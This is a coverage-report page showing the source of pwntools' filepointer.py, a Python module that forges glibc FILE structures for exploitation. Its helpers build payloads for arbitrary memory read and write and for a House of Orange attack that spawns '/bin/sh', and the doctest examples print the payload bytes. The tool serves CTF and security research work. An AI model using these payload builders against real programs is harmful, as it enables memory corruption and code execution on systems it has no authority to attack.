• Home
  • Features
  • Pricing
  • Docs
  • Announcements
  • Sign In

Gallopsled / pwntools / 1

06 Jun 2020 10:58PM UTC coverage: 0.0%. Remained the same
1

push

github

heapcrash
[docs] Update FmtStr documentation to use pre-compiled binary

0 of 5 new or added lines in 2 files covered. (0.0%)

4668 existing lines in 74 files now uncovered.

0 of 15543 relevant lines covered (0.0%)

0.0 hits per line

Source File
Press 'n' to go to next uncovered line, 'b' for previous

0.0
/pwnlib/filepointer.py
1
# -*- coding: utf-8 -*-
2

3
r"""
4
File Structure Exploitation
5

6
struct FILE (_IO_FILE) is the structure for File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - _IO_buf_base and _IO_buf_end for reading data to arbitrary location.
7

8
Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example-
9

10
>>> context.clear(arch='amd64')
11
>>> fileStr = FileStructure(null=0xdeadbeef)
12
>>> fileStr.vtable = 0xcafebabe
13
>>> payload = bytes(fileStr)
14
>>> payload
15
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
16

17
Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe
18

19
Currently only 'amd64' and 'i386' architectures are supported
20
"""
21

UNCOV
22
from __future__ import absolute_import
×
UNCOV
23
from __future__ import division
×
24

25
from pwnlib.context import context
×
26
from pwnlib.log import getLogger
×
UNCOV
27
from pwnlib.util.misc import python_2_bytes_compatible
×
28
from pwnlib.util.packing import pack
×
29

30
log = getLogger(__name__)
×
31

UNCOV
32
length=0
×
33
size='size'
×
UNCOV
34
name='name'
×
35

36
variables={
×
37
    0:{name:'flags',size:length},
38
    1:{name:'_IO_read_ptr',size:length},
39
    2:{name:'_IO_read_end',size:length},
40
    3:{name:'_IO_read_base',size:length},
41
    4:{name:'_IO_write_base',size:length},
42
    5:{name:'_IO_write_ptr',size:length},
43
    6:{name:'_IO_write_end',size:length},
44
    7:{name:'_IO_buf_base',size:length},
45
    8:{name:'_IO_buf_end',size:length},
46
    9:{name:'_IO_save_base',size:length},
47
    10:{name:'_IO_backup_base',size:length},
48
    11:{name:'_IO_save_end',size:length},
49
    12:{name:'markers',size:length},
50
    13:{name:'chain',size:length},
51
    14:{name:'fileno',size:4},
52
    15:{name:'_flags2',size:4},
53
    16:{name:'_old_offset',size:length},
54
    17:{name:'_cur_column',size:2},
55
    18:{name:'_vtable_offset',size:1},
56
    19:{name:'_shortbuf',size:1},
57
    20:{name:'unknown1',size:-4},
58
    21:{name:'_lock',size:length},
59
    22:{name:'_offset',size:8},
60
    23:{name:'_codecvt',size:length},
61
    24:{name:'_wide_data',size:length},
62
    25:{name:'unknown2',size:length},
63
    26:{name:'vtable',size:length}
64
}
65

66

UNCOV
67
def update_var(l):
×
68
    r"""
69
    Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.
70

71
    Arguments:
72
        l(int)
73
            l=8 for 'amd64' architecture and l=4 for 'i386' architecture
74

75
    Return Value:
76
        Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set
77

78
    Examples:
79

80
        >>> update_var(8)
81
        {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}
82
    """
UNCOV
83
    var={}
×
UNCOV
84
    for i in variables:
×
UNCOV
85
        var[variables[i]['name']]=variables[i]['size']
×
UNCOV
86
    for i in var:
×
UNCOV
87
        if var[i]<=0:
×
88
            var[i]+=l
×
89
    if l==4:
×
90
        var['unknown2']=56
×
91
    else:
92
        var['unknown2']=48
×
93
    return var
×
94

95

UNCOV
96
@python_2_bytes_compatible
×
97
class FileStructure(object):
×
98
    r"""
99
    Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
100

101
    Arguments:
102
        null(int)
103
            A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)
104

105
    Examples:
106

107
        FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d
108

109
        >>> context.clear(arch='amd64')
110
        >>> fileStr = FileStructure(null=0xdeadbeeef)
111
        >>> fileStr.flags = 0xfbad1807
112
        >>> fileStr._IO_buf_base = 0xcafebabe
113
        >>> fileStr._IO_buf_end = 0xfacef00d
114
        >>> payload = bytes(fileStr)
115
        >>> payload
116
        b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
117

118
        Check the length of the FileStructure
119

120
        >>> len(fileStr)
121
        224
122

123
        The defination for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
124

125
        >>> q=FileStructure(0xdeadbeef)
126
        >>> q
127
        { flags: 0x0
128
         _IO_read_ptr: 0x0
129
         _IO_read_end: 0x0
130
         _IO_read_base: 0x0
131
         _IO_write_base: 0x0
132
         _IO_write_ptr: 0x0
133
         _IO_write_end: 0x0
134
         _IO_buf_base: 0x0
135
         _IO_buf_end: 0x0
136
         _IO_save_base: 0x0
137
         _IO_backup_base: 0x0
138
         _IO_save_end: 0x0
139
         markers: 0x0
140
         chain: 0x0
141
         fileno: 0x0
142
         _flags2: 0x0
143
         _old_offset: 0xffffffffffffffff
144
         _cur_column: 0x0
145
         _vtable_offset: 0x0
146
         _shortbuf: 0x0
147
         unknown1: 0x0
148
         _lock: 0xdeadbeef
149
         _offset: 0xffffffffffffffff
150
         _codecvt: 0x0
151
         _wide_data: 0xdeadbeef
152
         unknown2: 0x0
153
         vtable: 0x0}
154
    """
155

UNCOV
156
    vars_=[]
×
UNCOV
157
    length={}
×
158

UNCOV
159
    def __init__(self, null=0):
×
UNCOV
160
            self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]
×
161
            self.setdefault(null)
×
162
            self.length = update_var(context.bytes)
×
UNCOV
163
            self._old_offset = (1 << context.bits) - 1
×
164

165
    def __setattr__(self,item,value):
×
166
        if item in FileStructure.__dict__ or item in self.vars_:
×
167
            object.__setattr__(self,item,value)
×
168
        else:
UNCOV
169
            log.error("Unknown variable %r" % item)
×
170

171
    def __repr__(self):
×
172
        structure=[]
×
UNCOV
173
        for i in self.vars_:
×
174
            structure.append(" %s: %s" % (i,hex(self.__getattr__(i))))
×
UNCOV
175
        return "{"+ "\n".join(structure)+"}"
×
176

177
    def __getattr__(self,item):
×
178
        if item in FileStructure.__dict__ or item in self.vars_:
×
179
            return object.__getattribute__(self,item)
×
180
        log.error("Unknown variable %r" % item)
×
181

182
    def __len__(self):
×
183
        return len(bytes(self))
×
184

185
    def __bytes__(self):
×
UNCOV
186
        structure = b''
×
187
        for val in self.vars_:
×
188
            if isinstance(self.__getattr__(val), bytes):
×
UNCOV
189
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
190
            else:
191
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
192
        return structure
×
193

194
    def struntil(self,v):
×
195
        r"""
196
        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
197

198
        Arguments:
199
            v(string)
200
                The name of the field uptil which the payload should be created.
201

202
        Example:
203

204
            Payload for data uptil _IO_buf_end
205

206
            >>> context.clear(arch='amd64')
207
            >>> fileStr = FileStructure(0xdeadbeef)
208
            >>> payload = fileStr.struntil("_IO_buf_end")
209
            >>> payload
210
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
211
        """
UNCOV
212
        if v not in self.vars_:
×
UNCOV
213
            return b''
×
UNCOV
214
        structure = b''
×
UNCOV
215
        for val in self.vars_:
×
UNCOV
216
            if isinstance(self.__getattr__(val), bytes):
×
217
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
218
            else:
219
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
220
            if val == v:
×
221
                break
×
222
        return structure[:-1]
×
223

224
    def setdefault(self,null):
×
225
            self.flags=0
×
226
            self._IO_read_ptr=0
×
227
            self._IO_read_end=0
×
UNCOV
228
            self._IO_read_base=0
×
229
            self._IO_write_base=0
×
230
            self._IO_write_ptr=0
×
231
            self._IO_write_end=0
×
232
            self._IO_buf_base=0
×
233
            self._IO_buf_end=0
×
234
            self._IO_save_base=0
×
235
            self._IO_backup_base=0
×
236
            self._IO_save_end=0
×
237
            self.markers=0
×
238
            self.chain=0
×
239
            self.fileno=0
×
240
            self._flags2=0
×
241
            self._old_offset=0
×
242
            self._cur_column=0
×
243
            self._vtable_offset=0
×
244
            self._shortbuf=0
×
245
            self.unknown1=0
×
246
            self._lock=null
×
247
            self._offset=0xffffffffffffffff
×
248
            self._codecvt=0
×
249
            self._wide_data=null
×
250
            self.unknown2=0
×
251
            self.vtable=0
×
252

253
    def write(self,addr=0,size=0):
×
254
        r"""
255
        Writing data out from arbitrary memory address.
256

257
        Arguments:
258
            addr(int)
259
                The address from which data is to be printed to stdout
260
            size(int)
261
                The size, in bytes, of the data to be printed
262

263
        Example:
264

265
            Payload for writing 100 bytes to stdout from the address 0xcafebabe
266

267
            >>> context.clear(arch='amd64')
268
            >>> fileStr = FileStructure(0xdeadbeef)
269
            >>> payload = fileStr.write(addr=0xcafebabe, size=100)
270
            >>> payload
271
            b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
272
        """
UNCOV
273
        self.flags &=~8
×
UNCOV
274
        self.flags |=0x800
×
UNCOV
275
        self._IO_write_base = addr
×
UNCOV
276
        self._IO_write_ptr = addr+size
×
UNCOV
277
        self._IO_read_end = addr
×
278
        self.fileno = 1
×
279
        return self.struntil('fileno')
×
280

281
    def read(self,addr=0,size=0):
×
282
        r"""
283
        Reading data into arbitrary memory location.
284

285
        Arguments:
286
            addr(int)
287
                The address into which data is to be written from stdin
288
            size(int)
289
                The size, in bytes, of the data to be written
290

291
        Example:
292

293
            Payload for reading 100 bytes from stdin into the address 0xcafebabe
294

295
            >>> context.clear(arch='amd64')
296
            >>> fileStr = FileStructure(0xdeadbeef)
297
            >>> payload = fileStr.read(addr=0xcafebabe, size=100)
298
            >>> payload
299
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
300
        """
UNCOV
301
        self.flags &=~4
×
UNCOV
302
        self._IO_read_base = 0
×
UNCOV
303
        self._IO_read_ptr = 0
×
UNCOV
304
        self._IO_buf_base = addr
×
UNCOV
305
        self._IO_buf_end = addr+size
×
306
        self.fileno = 0
×
307
        return self.struntil('fileno')
×
308

309
    def orange(self,io_list_all,vtable):
×
310
        r"""
311
        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.
312

313
        Arguments:
314
            io_list_all(int)
315
                Address of _IO_list_all in libc.
316
            vtable(int)
317
                Address of the fake vtable in memory
318

319
        Example:
320

321
            Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -
322

323
            >>> context.clear(arch='amd64')
324
            >>> fileStr = FileStructure(0xdeadbeef)
325
            >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
326
            >>> payload
327
            b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
328
        """
UNCOV
329
        if context.bits == 64:
×
UNCOV
330
            self.flags = b'/bin/sh\x00'
×
UNCOV
331
            self._IO_read_ptr = 0x61
×
UNCOV
332
            self._IO_read_base = io_list_all-0x10
×
UNCOV
333
        elif context.bits == 32:
×
334
            self.flags = b'sh\x00'
×
335
            self._IO_read_ptr = 0x121
×
336
            self._IO_read_base = io_list_all-0x8
×
337
        self._IO_write_base = 0
×
338
        self._IO_write_ptr = 1
×
339
        self.vtable = vtable
×
340
        return self.__bytes__()
×
STATUS · Troubleshooting · Open an Issue · Sales · Support · CAREERS · ENTERPRISE · START FREE · SCHEDULE DEMO
ANNOUNCEMENTS · TWITTER · TOS & SLA · Supported CI Services · What's a CI service? · Automated Testing

© 2026 Coveralls, Inc